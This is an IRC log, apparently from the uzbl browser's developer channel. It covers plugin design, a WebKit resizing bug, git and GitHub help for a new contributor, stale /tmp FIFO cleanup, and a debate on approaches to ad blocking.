16:29 < mason-l> Hey Dieterbe :)
16:30 < Dieterbe> especially because of you mason-l , with your complicated python code :P
16:31 < mason-l> :)
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16:31 < mason-l> I've got the next few days off to de-obfuscate things..
16:31 < mason-l> I'm not sure I'll change much but I'll explain more about what is happening in the code.
16:32 < Dieterbe> yeah, yesterday i didn't really understand where the actual bindings were coming from
16:32 < Dieterbe> i also didn't really like the hardcoding of actions on things like return, escape, space
16:32 < mason-l> Dieterbe, Thats what I'll be working on in the days to come.
16:34 < mason-l> Dieterbe, Thats the beauty of it: applications that don't want to act on them don't have to.
16:34 < mason-l> Any application that needs a finer control of things just places his own hook on KEY_PRESS and monitors closely.
16:35 < Dieterbe> are you saying the hardcoding of those binds is by default and you want applications to be able to override them?
16:35 < Dieterbe> s/by default/by design/
16:36 < mason-l> What I should have said is the keycmd.py plugin is purely practical and functions the way it does. Any plugin that doesn't like that behavior can be loaded in its place or track the keycmd it self.
16:38 < mason-l> But for most cases (even those I mentioned yesterday: <a><b><c> & etc) are handled nicely in the keycmd plugin.
16:38 < mason-l> And helpful events are raised accordingly.
16:40 < Dieterbe> ok
16:41 < Dieterbe> still it would be nice to customize behaviour of esc, space etc without needing to fork the plugin
16:42 < mason-l> Actually Escape is something that can be de-hardcoded.
16:42 < mason-l> I'm going to write a mode.py plugin that tracks the current mode and there you can define the action of esc
16:43 < mason-l> By default: return to command mode & clear the keycmd.
16:43 < mason-l> then raise "MODE_CHANGED command"
16:43 < holizz> Anyway. Time to go move in!
16:44 < Dieterbe> move what in where?
16:44 < nullmark> So, found my dictionary, may it be helpfull ;) I hope its ok to cut in, i have only a short Question. Is there anything special to consider when posting a script to the wiki? Respectively, is the wiki the right place to do so?
16:44 < Dieterbe> mason-l: sounds a bit like an overcomplication
16:44 < Dieterbe> mason-l: i mean, modes will trigger events? i think modes and keybinds should be handled in the same plugin
16:46 < holizz> Dieterbe, Move me (and my two bags) into my new (shared) flat.
16:47 < Dieterbe> cool
16:47 < Dieterbe> i hope
16:49 < holizz> Yep, I expect so. Only a skylight in my bedroom, which is not ideal, but it's a really cool area. Have you heard of Camden Town in London? That's where it is.
16:50 < Dieterbe> oh i've been there in oktober last year
16:50 < Dieterbe> regents park is very nice
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16:53 < holizz> Ah cool. You know Camden markets? My house is in the middle of them. In fact my flat mate has a boutique in the Stable Markets.
16:54 < Dieterbe> i don't know much stuff by name. maybe i've been there, don't know
16:55 < Dieterbe> i was there for a conference and spend little time outside of the conf ;)
16:55 < Dieterbe> spent*
16:57 < holizz> Orly? What conf was it?
16:58 < rob|> nullmark: well, if unsure just follow the style of the other articles on the wiki
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16:58 < rob|> nullmark: and yes, the wiki is the rigt place for it
16:58 < Dieterbe> mysql user conf (organised by sun)
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16:58 < rob|> mason-l: yeah, a timeout would be a possible solution, though it doesn't seem ideal
16:59 < nullmark> rob|: ok, thanks :)
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17:01 < holizz> Dieterbe, Ah. There should be lots of events happening in London, so that should be nice.
17:01 < holizz> Anyway, I'm off now.
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17:02 < rob|> man, london is the greatest city i've been to in europe so far..
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17:02 < rob|> cool clubbing scene and lots of nice people :)
17:03 < shepheb> aware)
17:03 < shepheb> whoa, mid-sentence focus change.
17:03 < ruskie> gah... I don't get this... version of uzbl_tabbed.py @work works fine... the one I have at home will open a page but suddenly goes to oversized window(1230*4400 or something)
17:03 < Knirch_> ruskie: new webkit
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17:03 < ruskie> Knirch_, ?
17:03 < ruskie> same version of webkit on both
17:04 < Knirch_> ok
17:04 < Knirch_> sure sounded alot like: http://www.uzbl.org/bugs/index.php?do=details&task_id=85
17:04 < Knirch_> where pages grow out of proportion
17:04 < rob|> ruskie: are you using different WMs?
17:04 < rob|> that might explain it
17:05 < Knirch_> o_O wth at added patch
17:05 < ruskie> same wm's with same configs
17:05 < ruskie> the window automatically resizes to the full size of that page, which is usually much larger than my screen <-- hmm
17:05 < rob|> strange
17:05 < ruskie> this is EXACTLY what happens
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17:06 < ruskie> and I'm even using the exact same uzbl_tabbed.py and exact same uzbl config
17:06 < rob|> hrrmm, we should really come up with a fix for this, although it is braindead behaviour by the webkitgtk guys
17:06 < ruskie> hmm
17:06 < ruskie> found a difference
17:06 < ruskie> which is odd
17:06 < Knirch_> rob|: there are fixes in the bugreport
17:06 < ruskie> webkit 1.1.13 on the one not working and 1.1.14 on the one that is working
17:06 < ruskie> this is odd
17:06 < Knirch_> I tried to clean out old hacks with mine, someone else sent in something he don't know why but fixes it
17:07 < ruskie> gah guess there was an update to it during the night(I was upgrading last night at home)
17:08 < ruskie> hmm seems like that's the problem... 1.1.13 vs 1.1.14
17:08  * ruskie updates webkit to .14...
17:09 < rob|> so, does this mean 1.1.14 does fix it
17:09 < rob|> ?
17:09 < ruskie> I'll tell you in a few hours
17:09 < rob|> and we need to do just nothing?
17:09 < rob|> ok
17:09 < ruskie> once webkitgtk updates :)
17:09 < ruskie> takes an hour and a half to compile it on this poor sempy
17:10 < rob|> ruskie: i've also got a patch that'll only work with 1.1.14 namely a source view feature
17:10 < ruskie> hmm I find the element inspector a lot better than any source view ;)
17:11 < hagna> can a program query uzbl for the HTML of a page or a string representation of the DOM/
17:11 < hagna> ?
17:11 < rob|> well, many people requested it and 1.1.14 has it built in so it was just a couple of extra lines to add
17:12 < rob|> hagna: yes, http://www.uzbl.org/wiki/uzblctrl-pl  <-- "Usage"
17:13 < scj> hagna: or http://www.uzbl.org/wiki/scripts-faq
17:13 < rob|> hagna: you can also use socat to query the socket
17:14 < rob|> ah, that faq covers it
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17:56 < keis> is there a reference of what commands you can use in the config?
17:57 < Dieterbe> RTFM
17:58 < keis>  man uzbl
17:58 < keis> No manual entry for uzbl
17:58 < keis> :(
17:58 < scj> keis: uzbl.org/readme.php
18:00 < scj> RTFR
18:01 < keis> yeah I found that one, but I was hoping it was more to it :S
18:02 < scj> 'fraid not
18:05 < keis> is there a way to 'get' values set by the set command?
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18:07 < scj> keis: echo 'print @foo | socat - unix-connect:$socket' will print the value of the variable 'foo'
18:08 < scj> should be a ' between @foo and the pipe, but you get the jist of it
18:09 < keis> im not talking about getting it from outside uzbl
18:10 < scj> oh. in that case, it's @var
18:11 < keis> not working, i get this "error on run_command: Failed to execute child process "@new_window""
18:12 < keis> from a "spawn @new_window"
18:14 < rob|> keis: as of now only 'set' and 'print' are able to expand variables (and substitute commands&JS)
18:15 < keis> oh
18:15 < keis> I guess i'll just do a manual expansion then XD
18:15 < rob|> yeah, it's a stupid limitation
18:16 < rob|> for no real reason
18:16 < scj> oh, I thought it would be fixed by now
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18:21 < rob|> well, the issue was chain doing it's own escaping and quoting that would have intereferred with expand's quoting
18:21 < rob|> but with event messages we can get rid of chain and its quoting function
18:22 < rob|> so expansion will eventually be available to all commands
18:22 < scj> imo, chain was a mistake. it would've been better to have done 'bind x = spawn chain.sh 'foo' 'bar''
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19:00 < ruskie> rob|, I can confirm it .14 fixes it
19:10 < Dieterbe> evening dudes
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19:21 < Dieterbe> scj: heh. funny that no one thought of that
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19:31 < Dieterbe> http://blog.kov.eti.br/?p=88
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19:35 < ruskie> lol
19:35  * ruskie prefers a dns black list for the ad blocking
19:35 < ruskie> works rather well
19:38 < ebirtaid> assuming libwebkit is built with --enable-video uzbl should be able to display html5 videos right?
19:38 < keis> poking at the uzbl source a bit, dunno if anything usefull will come from it. but what do you prefer g_* or the native functions?
19:38 < Dieterbe> native what functions?
19:38 < keis> the wrappers in glib, like g_strstr
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19:39 < keis> or g_strcpy, g_printf
19:43 < Dieterbe> so you ask if we prefer g_* or functions like g_strstr,  g_strcpy, g_printf ..
19:43 < Dieterbe> i don't get it
19:43 < ruskie> no
19:43 < ruskie> he is asking if you prefer to use glib functions or native glibc and such functions
19:44 < keis> yes, exactly :)
19:44 < Dieterbe> well i like the glib ones, they offer convenient thingies
19:46 < keis> but there is no prefered way to do it in uzbl?
19:46 < Dieterbe> i think we're trying to stick to glib as much as possible, to keep things uniform
19:46 < Dieterbe> even though it's sometimes not needed to use them
19:46 < keis> kk
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21:20 < keis> oh, this is tricky. move_statusbar is reclaiming focus
21:22 < keis> no wait, nvm
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21:42 < hagna> the faq could use a new faq q: why not use X? a: because it's not uzbl pronounced useable
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21:44 < Dieterbe> o_O
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21:48 < hagna> Dieterbe: is that approval or confusion?
21:48 < Dieterbe> guess
21:48 < hagna> confusion
21:48 < Dieterbe> Y
21:49 < hagna> well I like usable
21:49 < hagna> uzbl
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22:30 < hagna> what does XDG_DATA_HOME correspond to on my system echo $XDG_DATA_HOME says \n
22:30 < hagna> I'm on ubuntu ibex
22:32 < rob|> actually you can set it to anything, though the default is $HOME/.local/share
22:32 < hagna> rob|: how did you find out it was $HOME/.local/sharE?
22:32 < ruskie> it's a freedesktop standard
22:33 < hagna> why doesn't echo $XDG_DATA_HOME show anything?
22:33 < hagna> in bash
22:33 < rob|> hagna: http://pastebin.ca/1560251
22:34 < hagna> http://pastebin.ca/1560251
22:35 < rob|> ?
22:35 < hagna> I only have those two XDG vars
22:36 < rob|> well, obviously ubuntu does not set those vars by default
22:36 < hagna> uzbl seems to know XDG_DATA_HOME is ~
22:38 < rob|> well, you can just set them
22:38 < rob|> to the default paths i pasted or something else..
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01:31 < devon> using uzbl_tabbled.py, and the default config, my command bar is all screwed up.  it says : [MODE] [KEYCMD]  LOAD_PROGRESSBAR URI NAME MSG SELECTED_URI
01:31 < devon> any ideas?
01:32 < devon> if I use uzbl without uzbl_tabbed.py, it doesn't have that problem
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02:37 < mason-l> devon, What version are you using?
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03:00 < devon> mason-l, I solved the problem by using the ubuntu package
03:00 < devon> I was using a fresh compile off the git trunk
03:04 < mason-l> ok :)
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03:08 < devon> is there any way to override the behavior of window open?
03:12 < krayon> devon: Do you mean: set new_window = sh 'uzbl -u $8'
03:13 < mason-l> devon, Are you trying to make new windows open in new tabs?
03:14 < devon> mason-l, yes
03:14 < mason-l> devon, The latest version of uzbl_tabbed.py does that automatically.
03:14 < devon> mason-l, in experimental?
03:15 < mason-l> devon, Direct download: http://github.com/mason-larobina/uzbl/raw/experimental/examples/data/uzbl/scripts/uzbl_tabbed.py
03:15 < devon> mason-l, thanks :)
03:15 < devon> mason-l that was one of the big barriers to me switching full time
03:16 < devon> mason-l , note: it still lists new windows not caught as an issue in the comments
03:16 < mason-l> devon, You may also like the middle-mouse-click script on the wiki which opens links in new windows (then get captured by uzbl_tabbed.py)
03:16 < mason-l> devon, That is something different.
03:17 < mason-l> I should make the wording a little less confusing.
03:17 < devon> mason-l perfect, yes, I would
03:17 < mason-l> http://www.uzbl.org/wiki/middle_click_links
03:24 < devon> mason-l, middle click is working, but it's not capturing.  I tried adding set capture_new_windows = 1 to my config (but given that it defaulted to True, it was jsut a shot in the dark)
03:24 < mason-l> Are you running uzbl_tabbed.py or uzbl?
03:25 < devon> uzbl_tabbed.py
03:26 < devon> I have multiple tabs open
03:26 < devon> so I'm certain it's at least running in the uzble_tabbed.py environment
03:27 < mason-l> Maybe the version of uzbl you are using doesn't support new_window setting.
03:27 < devon> that's possible
03:28 < mason-l> Follow the instructions on how to check out the experimental sources and build http://www.uzbl.org/get.php
03:28 < devon> I switched to the ubuntu repo version because the one I built from git had the command bar problem I mentioned earlier
03:28 < devon> ok
03:42 < devon> ahh, busted command line came from using an older config with the newer code
03:42 < devon> mason-l, middle click works like a charm now, thanks
03:43 < mason-l> :)
03:43 < mason-l> devon, Remember to update all the other scripts in /usr/share/uzbl/examples/data/uzbl/scripts/ to ~/.local/share/uzbl/scripts/
03:45 < devon> mason-l, I used meld to go through my whole XDG_CONFIG_HOME  and XDG_DATA_HOME compared to the repo.
03:46 < mason-l> wow!
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03:51 < devon> mason-l have you done any work on externally clicked links opening a uzbl_tabbed.py instance if one isn't running, or passing the url in if it is?
03:52 < devon> mason-l if not, I may take a stab at that
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04:00 < mason-l> devon, http://dpaste.com/91666/
04:00 < mason-l> That's what I use, it could be improved though.
04:03 < devon> mason-l cool, ty - I'll try it for a while, see what it's shortcomings are, and maybe give you some patches
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04:12 < devon> mason-l since this is on your branch, how would you like me to offer patches
04:12 < mason-l> devon, For the launcher or uzbl_tabbed.py?
04:12 < devon> I added a command to 'bring_to_front', and then altered the launch script to call that after launch
04:12 < devon> er, both in this case
04:13 < devon> so basically now when you click on a link in another app, the window presents itself like firfox would
04:13 < mason-l> Awesome!
04:13 < mason-l> I'll have to talk to Dieterbe about adding in a launcher for uzbl-tabbed but otherwise I'll be happy to commit the uzbl_tabbed.py changes.
04:14 < mason-l> Do you have a github account?
04:14 < mason-l> or uzbl fork on github/.
04:14 < mason-l> '?
04:14 < devon> nope, but I can go make one
04:14 < mason-l> That would be great.
04:14 < devon> still a little shaky on git, been using svn for ages
04:14 < mason-l> You don't have to use github but anything that's hosted is always a lot easier.
04:15 < mason-l> http://repo.or.cz/ is another service.
04:19 < devon> ironically, signing up for github breaks on uzbl
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04:21 < devon> ok, I'm in - should I fork your repo or dieterbe's?
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04:34 < keis> http://pastebin.com/m1b68b1d - any ideas?
04:35 < mason-l> devon, We all develop against Dieterbe's experimental, raise your patches against that branch and I'll pull the changes in.
04:35 < devon> ok
04:38 < devon> ok, so as mentioned I've never used git before.  I have committed my patches to my own repo
04:38 < devon> http://github.com/devonjones/uzbl/tree/master
04:39 < devon> do you need me to do anything else? (like what is this 'raise' you speak of)
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04:54 < devon> mason-l ok, I think I'm still a little whacked on this, but my patch is in: http://github.com/devonjones/uzbl/tree/origin/experimental
04:55 < devon> thus far, git feels deeply unintuitive
04:55 < mason-l> devon, Ah, I see what you've done. When you checked out the branch you forgot to set a local branch of that name.
04:56 < keis> yeah, i struggled with git for the first time today to :S
04:56 < devon> ok, so is there a way to just blow it all away?
04:56 < keis> took ages to figure out how to change branch XD
04:56 < mason-l> devon, Run: git branch -b experimental upstream/experimental
04:56 < mason-l> After adding: git remote upstream git://github.com/Dieterbe/uzbl.git
04:57 < mason-l> 'remote add
04:57 < devon> error: unknown switch `b'
04:57 < devon> (on first command)
04:57 < mason-l> Sorry, git checkout -b experimental upstream/experimental
04:57 < mason-l> Creates the branch experimental locally.
04:59 < devon> should this be done from a clone of my uzbl.git or dieterbe's?
05:00 < devon> sorry to make you be my tech support on this
05:00 < mason-l> Ok, in order I'll run through the commands.
05:01 < mason-l> Thats not a problem
05:01 < devon> but that command breaks too
05:01 < keis> i did a "git checkout --track -b experimental origin/experimental" as per some github tutorial
05:02 < devon> keis, on your own uzbl.git or on dieterbe's?
05:02 < mason-l> (1) git clone git://github.com/devonjones/uzbl.git
05:02 < devon> a ha, that worked
05:02 < keis> my own
05:02 < devon> ok
05:03 < keis> then i managed to merge with my master "git pull . master"
05:03 < keis> dunno, if thats the way to do it, but it sort of worked :P
05:04 < mason-l> (2) cd uzbl/
05:04 < mason-l> (3) git remote add upstream git://github.com/Dieterbe/uzbl.git
05:04 < mason-l> (4) git remote update
05:04 < mason-l> (5) git checkout --track -b experimental origin/experimental
05:04 < mason-l> or upstream/experimental
05:05 < devon> mason-l ok
05:05 < mason-l> (6) make changes
05:05 < mason-l> (7) git add <modified files>
05:05 < mason-l> (8) git commit
05:05 < mason-l> (9) git push origin experimental
05:06 < mason-l> Done
05:07 < mason-l> Then if a change is made in Dieterbe's experimental and you would like to pull in those changes and update your branch run: git pull upstream experimental
05:08 < devon> ok, everything worked until 9
05:08 < devon> You can't push to git://github.com/user/repo.git
05:08 < devon> Use git@github.com:user/repo.git
05:10 < mason-l> devon, Thats because your uzbl/.git/config might be incorrect
05:10 < mason-l> open that in vim and checkout the origin config
05:11 < mason-l> Mine reads:
05:11 < mason-l> [remote "origin"]
05:11 < mason-l>     url = git@github.com:mason-larobina/uzbl.git
05:11 < mason-l>     fetch = +refs/heads/*:refs/remotes/origin/*
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05:13 < mason-l> Also goto: https://github.com/account and click on "Global Git Config" and run those commands to let github know who you are (when committing)
05:14 < mason-l> devon, You might also like to read: http://help.github.com/forking/
05:17 < devon> ok, it's comitted
05:18 < devon> mason-l thanks :)
05:19 < mason-l> Awesome :)
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05:21 < mason-l> devon, Also run: git push origin :origin/experimental to delete that branch.
05:21 < mason-l> It wont delete  http://github.com/devonjones/uzbl/tree/experimental/
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05:26 < devon> awesome
05:26 < devon> now it's nice and clean :)
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05:31 < devon> mason-l ok, I'm out, going home, thanks for the help
05:31 < mason-l> devon, Not a problem, thanks for the patch. I'll talk to Dieterbe about the launcher and the pull it in.
05:32 < devon> i just added another patch to exec it at exec $XDG_DATA_HOME/uzbl/scripts/uzbl_tabbed.py $@
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08:12 < dylanfish> Hi.
08:12 < dylanfish> Hi?
08:12 < dylanfish> Hello?
08:12 < dylanfish> Neat.
08:12 < dylanfish> I mean, cute.
08:12 < dylanfish> He-e-e-llo-o-o-o?
08:12 < Dr-Horrible> hi?
08:13 < dylanfish> Hi!
08:13 < dylanfish> How be you?
08:13 < Dr-Horrible> Im fine, you?
08:13 < dylanfish> How you get your name?
08:13 < Dr-Horrible> ??
08:13 < dylanfish> Um..."Dr. Horrible"?
08:14 < Dr-Horrible> http://en.wikipedia.org/wiki/Dr._Horrible%27s_Sing-Along_Blog
08:14 < dylanfish> Am I supposed to click on that? It's not working.
08:14 < Dr-Horrible> that's your problem
08:15 < dylanfish> What you wanna talk about, sonny boy?
08:15 < Dr-Horrible> nothing
08:15 < dylanfish> Figures.
08:15 < dylanfish> Why you here then?
08:15 < Dr-Horrible> Because im everywhere
08:15 < dylanfish> Neat.
08:16 < dylanfish> Into philosophy?
08:16 < Dr-Horrible> no
08:16 < dylanfish> This IS a philosophy chatroom, isn't it?
08:16 < Dr-Horrible> no
08:17 < dylanfish> Wow, you are a very interesting chap.
08:17 < dylanfish> Good to know you.
08:18 < dylanfish> The way I figure it, you must be about my age (30), only you've never had much success in life, and are now just a drooling puss bucket, hating life, and just drooling a lot. Am I right?
08:19 < dylanfish> I'm good at reading characters.
08:19 < dylanfish> My other guess is this....wanna hear?
08:19 < krayon> or avoiding your meds
08:19 < krayon> :P
08:19 < dylanfish> Okay, okay.
08:20 < dylanfish> Doctor is only 18, not a failure just yet, but realizing slowly that he has a hopeless future and will become a drooler.
08:21 < dylanfish> Krayon: now I'm sure you, too, meet one of these descriptions, yes?
08:21 < dylanfish> hahahaahahahahahahahah
08:21 < dylanfish> O me O life!
08:22 < dylanfish> Look at it: the two of you are zomboids.
08:22 < dylanfish> So sad.
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08:22 < dylanfish> hahahahahahahaha (kinda funny too!)
08:22 < dylanfish> Hi, Bandit.
08:23 < dylanfish> Wow, this is utterly boring. Ya'll have fun with yourselves!
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08:23 < bandito85> morning all
08:24 < krayon> We now return you to your regularly scheduled program
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08:38 < ruskie> *yawn*
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08:51 < mason-l> ^^ What the hell was that?!
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08:53 < ruskie> mason-l, every so often confused people wander onto IRC ;)
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09:08 < rob|> morning.
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09:09 < ruskie> http://www.youtube.com/watch?v=CGwvZWyLiBU <-- nice...
09:09 < ruskie> rob|, I take it you saw my comment wrt to .14 yesterday?
09:13 < rob|> ruskie: yep, saw. that's some good news at least :)
09:19 < rob|> WebKitWebDataSource looks interesting
09:27 < Dieterbe> morning dudes and dudedettes
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09:38 < rob|> well, i guess we're just a few locs away from an ad-blocker working with event messages cosidering all this fine new features in 1.1.14
09:39 < rob|> so we could probably even use adblock's filter rules
09:39 < ruskie> lol
09:40 < ruskie> a useless thing :)
09:40 < rob|> what?
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09:41 < ruskie> a per-browser adblocker is pointless ;)
09:42 < rob|> well, if we're able to reuse adblock's filter rules it wouldn't be so much per browser
09:43 < ruskie> still would it would work only in uzbl ;)
09:43 < rob|> also the event manager can handle multiple uzbl instances, so not even in that sense it would be "per browser"
09:43 < ruskie> just like adblock only works in gecko ;)
09:43 < ruskie> it doesn't work for wget, curl, elinks, netsurf etc :)
09:44 < ruskie> this is why I don't like such things ;)
09:44 < ruskie> better to get a good adblocking proxy that could do it all then this ;)
09:44 < rob|> well, then use a proxy. an ad-blocker can be convenient, though
09:45 < ruskie> of course I'm only expressing my own opinion ;)
09:45 < ruskie> I actually use a DNS blacklist ;)
09:45 < ruskie> why even bother downloading something you will block in the end :)
09:46 < rob|> because a DNS blacklist can not work on specific _content_, we're talking about different layers of filtering
09:46 < rob|> the closer to the browser an ad-blocker is the finer the level of control
09:46 < rob|> it's just that simple
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09:48 < ruskie> hmm I never tried to compar ad-block to a proxy ad blocker or a dns blacklist though... would be interesting to see an ad heavy site under all 3 and one control
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09:51 < Dieterbe> rob|: the question is: do you _need_ that level of control? i've never done any adblocking myself, but i think a dns would be enough for everyone, no?
09:51 < Dieterbe> if you have a good blacklist that is
09:52 < rob|> no, certainly not
09:53 < ruskie> I won't argue until a test is possible
09:53 < ruskie> would like to see all of this tested so there is actually some solid proof that one is better than the other
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09:54 < rob|> a DNS (hosts) blacklist also tends to be slow, i mean you need to iterate over that list for every single request be it http or anything else, which is kind of stupid
09:55 < ruskie> no
09:55 < krayon> Well, you can just poison your local DNS server
09:55 < ruskie> not talking hosts ;)
09:55 < ruskie> talking about a real DNS ;)
09:55 < krayon> But I agree with you rob| fwiw, I recall many sites with ads that are directly delivered from their domain.
09:55 < ruskie> I take a hosts lists, generate a DNS zone and load that up
09:55 < krayon> Both = best :D
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09:56 < rob|> ruskie: even for a "real NS", imo an ad-blocker should be on the protocol layer that holds the ads
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09:58 < ruskie> only for those that really need to be blocked on that level
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09:59 < rob|> hmm, i think you don't get the point
10:00 < ruskie> why download 500k of banners if you're planing on blocking them in the end anyway
10:01 < rob|> well, if you're using 90% http this might be a point
10:03 < ruskie> erm? 90% http?
10:03 < ruskie> what's the other 10% filled then?
10:06 < rob|> bad wording, what i meant to say is that might be ok if you're almost solely using http
10:06 < ruskie> ahh
10:06 < rob|> anyways, i don't think this is a valid argument against an ad-blocker
10:07 < rob|> and i really don't want to persuade into into using anything specific
10:07 < rob|> just mho
10:07 < rob|> s/into/you/
10:08 < ruskie> I can understand the arguments for and against
10:10  * ruskie is having a debate on maemo-dev ML about why as a user he cares where packages get installed
10:11 < Dieterbe> oh that was you?
10:12 < Dieterbe> for a second i was considering joining the discussion but meh
10:12 < ruskie> yes that's me :)
10:13 < ruskie> do you agree or disagree with /opt installing?
10:13 < Dieterbe> i didn't follow the discussion to closely
10:14 < Dieterbe> i like fhs and i like xdg
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10:14 < Dieterbe> but i read some 'special' things in that discussion
10:14 < ruskie> well currently the suggestion is install stuff into /opt instead of /usr or /usr/local
10:15 < ruskie> not against FHS per-se but considering that most distros have an empty /opt don't see much of a point for this
10:18 < Dieterbe> well i never really 'got' /opt. i mean we have /usr/bin, /usr/share etc
10:18 < Dieterbe> i do think they mentioned something about putting user data/config in a special location in /opt or something, which looked really weird to me
10:19 < ruskie> the way I see /opt it's for stuff that isn't packaged and unable to install to a normal hierachy... i.e. vendor software like oracle db, and such like
10:19 < ruskie> or pre-built-binary stuff like apache or tomcat with their own hierachy internaly
10:20 < ruskie> data/config they are thinking of putting into /home/user/MyDocs or something like that
10:20 < Dieterbe> that's stupid
10:20 < Dieterbe> 'MyDocs' ? o_O
10:20 < ruskie> vfat formated from what I know
10:21 < ruskie> stuff accesible from the file manager as well
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10:22 < Dieterbe> what, the filemanager can only go into a specific subdir of your $HOME?
10:22 < ruskie> from what I understand yes and to the SD card
10:22 < ruskie> the default one
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10:22 < ruskie> but I'm betting it would be possible to extend that easily
10:23 < Dieterbe> i want xdg basedir spec :)
10:23 < ruskie> I want uzbl on the N900 ;)
10:24 < jelly12gen> why cant you have it?
10:24 < ruskie> because I don't have a N900 yet ;)
10:24 < jelly12gen> aha ;)
10:25 < jelly12gen> i should use uzbl again , i got to addicted with firefox + vimperator\
10:25 < Dieterbe> yeah i want to package / port uzbl for the n900
10:26 < Dieterbe> in fact i'm going to the maemo summit next month
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10:27 < ruskie> lucky
10:27 < ruskie> not that I would have much to do there I guess ;)
10:31 < rob|> meh, i want 1.1.14 in arch so i can finally test all this new stuff
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10:33 < ruskie> lol
10:33 < ruskie> source mage got the update yesterday during the night ;)
10:33 < Dieterbe> ruskie: i didn't have time to do anything for it yet
10:33 < Dieterbe> rob|: use ABS
10:34 < Dr-Horrible> or libwebkit-newest from abs
10:36 < Dieterbe> Dr-Horrible: i think you mean aur
10:36 < Dr-Horrible> Dieterbe: you're right
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11:56 < sp0_ofd> uzbl closes window, created with right click on link -> "open link in new window" right after loading contents of page. After several attempts window stays opened. Here is messages he write in console: "** (uzbl:8793): WARNING **: init_fifo: can't create /tmp/uzbl_fifo_90177568: file exists". What's wrong? (sorry for my English)
11:57 < Dieterbe> rob|: so, any luck with aur/abs?
11:58 < rob|> Dieterbe: no, i'm waiting for the official packages
11:59 < ruskie> sp0_ofd, close all uzbl instances then rm /tmp/uzbl_*
11:59 < rob|> i already coded some .14 stuff, though that's commented now
11:59 < Dieterbe> with abs/aur you don't need to wait ;)
12:00 < rob|> sure
12:00 < krayon> sp0_ofd: Just remove that file
12:00 < krayon> sp0_ofd: It's a uzbl instance that didn't close gracefully.
12:01 < rob|> still, do we want to build in .14 features? i mean this would set the requirements even higher
12:01 < ruskie> it would also solve the resizing bug
12:01 < sp0_ofd> ruskie, krayon, thanks. It works
12:01 < krayon> sp0_ofd: (as in left behind by a previous instance)
12:01 < krayon> sp0_ofd: For future reference you don't need to close any uzbl windows
12:02 < ruskie> krayon, with my solution he does ;)
12:02 < ruskie> krayon, since I was indiscrimanet about removing them ;)
12:02 < sp0_ofd> krayon, emm... I don't need to close uzbl windows? Why?
12:02 < ruskie> sp0_ofd, you can remove just the relevant files that none of the uzbl windows are using currently
12:02 < krayon> sp0_ofd: The file that was created (/tmp/uzbl_fifo_907177568) was created by an instance of uzbl that is dead.
12:03 < krayon> sp0_ofd: Therefore, you can remove the file without closing any existing uzbl windows.
12:03 < sp0_ofd> i understand it
12:03 < krayon> sp0_ofd: I personally use a wrapper script to clean up these
12:03 < sp0_ofd> so, it's just a feature?
12:04 < krayon> No, when a uzbl instance dies it doesn't clean up after itself (as in it doesn't remove that file).
12:04 < krayon> It should not occur during normal operation
12:04 < sp0_ofd> ok, thanks much
12:05 < ruskie> krayon, well it could catch some of the possible signals and cleanup in those cases
12:05 < ruskie> I wonder if it would be possible to have it also check if a fifo or a socket is in use and if not remove them... thus completly eliminating this need
12:06 < krayon> True.
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12:51 < ruskie> I can haz bug found...
12:51 < ruskie> http://icanhascheezburger.com/2007/08/20/legokitty™/ <-- I getz this instead of this when doing copy --> http://icanhascheezburger.com/2007/08/20/legokitty%e2%84%a2/
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12:55 < Dieterbe> lolz, but how you doez copy?
12:56 < ruskie> bind    :cp_     = sh 'echo -n $6 | xclip'
12:56 < Dieterbe>  rob|> still, do we want to build in .14 features? i mean this would set the requirements even higher <-- making uzbl do things we want it to do is way more important then making it easy to build uzbl on systems with outdated packages
12:57 < ruskie> Dieterbe, even better reason to upgrade it fixes a bug ;)
12:57 < Dieterbe> yep
13:00 < Dieterbe> ruskie: with that keybind it should be possibul to just typez 'cp<enter>' and gets the url copied into the clipboard?
13:01 < ruskie> yup
13:01 < ruskie> :cp<enter>
13:01 < Dieterbe> ah d'oh
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13:02 < ruskie> I would guess the problem is with uzbl throwing out an un-encoded url
13:02 < Dieterbe> i get: http://icanhascheezburger.com/2007/08/20/legokitty™/
13:03 < Dieterbe> it's actually a 'trademark' character or something like that
13:03 < Dieterbe> or a 'T' and 'M' very small at the top
13:03 < ruskie> yeah
13:03 < ruskie> something like that
13:03 < Dieterbe> i suggest you report a bug
13:03 < ruskie> but you actually get it out when cping?
13:04 < Dieterbe> what i just pasted is what came out of my clipboard
13:04 < ruskie> I get some odd chars there
13:04 < Dieterbe> maybe you're missing utf8 support somewhere
13:04  * ruskie wonders where since his systems all tend to be UTF8
13:04 < Dieterbe> paste it in an utf8 aware program? try different editors, browsers maybe
13:04 < ruskie> this is utf8 aware
13:05 < ruskie> and I tried a direct copy paste from firefox(which naturally didn't encode it) and the TM just got lost in the copy to uzbl
13:06 < ruskie> so in the end I got: http://icanhascheezburger.com/2007/08/20/legokitty/ which was also odd
13:07 < Dieterbe> what do you mean FF didn't encode it? what? the complete url?
13:08 < ruskie> when I copy pasted that url from firefox to uzbl uzbl discarded the TM char
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13:09 < ruskie> when I copy pasted the url from uzbl somewhere along the lines the TM char got mangled(I'll look into this first myself to see if there is some utf8 trick someplace but I doubt it
13:09 < ruskie> still encoding the url that is returned is imho a good idea
13:10 < Dieterbe> yes, we should emit the url in the same format as what we expect it to be in
13:15 < dgym> are there any plans to handle click events?
13:15 < dgym> being able to ctrl-click or middle click to open a link in a new window is very handy
13:16 < ruskie> it's already there
13:17 < dgym> i'm sorry, I must have missed the documentation for it
13:18 < ruskie> middle click is on the wiki
13:18 < sp0_ofd> Oops! uzbl closes windows again, as I described earlier. It is no /tmp/uzbl_* files now.
13:19 < dgym> oh, the javascript, that doesn't work with many web sites, I was talking about proper click events
13:19 < Dieterbe> ruskie: so you'll report that encoding bug right?
13:19 < ruskie> Dieterbe, yeah once I get home
13:19 < ruskie> dgym, it doesn't?
13:20 < Dieterbe> ruskie: k. just don't forget :)
13:20 < dgym> it hooks into a page's event handlers, but if the page already has event handlers, and they get run first, then no, it might not
13:21 < ruskie> Dieterbe, yeah... I'll enter it as uzbl should url encode urls instead of relying on utf8 being there
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13:21 < dgym> since there is no javascript way of controlling event handler order, this technique is prone to conflicts with the web site's code
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13:23 < mason-l> Hey guys
13:27 < rob|> hey
13:28 < mason-l> I'm just checking some diffs then I'll commit some changes I made today.
13:28 < rob|> nice, what are you working on?
13:31 < mason-l> Added in listen_from_uzbl_socket function, Changed the error handling in the EM, added some command line options to the EM and made a launcher for the EM & uzbl (not sure how I will or if I will commit that though).
13:31 < mason-l> Also almost 70% re-write of keycmd.py
13:31 < mason-l> And added in comments.
13:32 < mason-l> (I just made that 70% up and it was mostly structural changes).
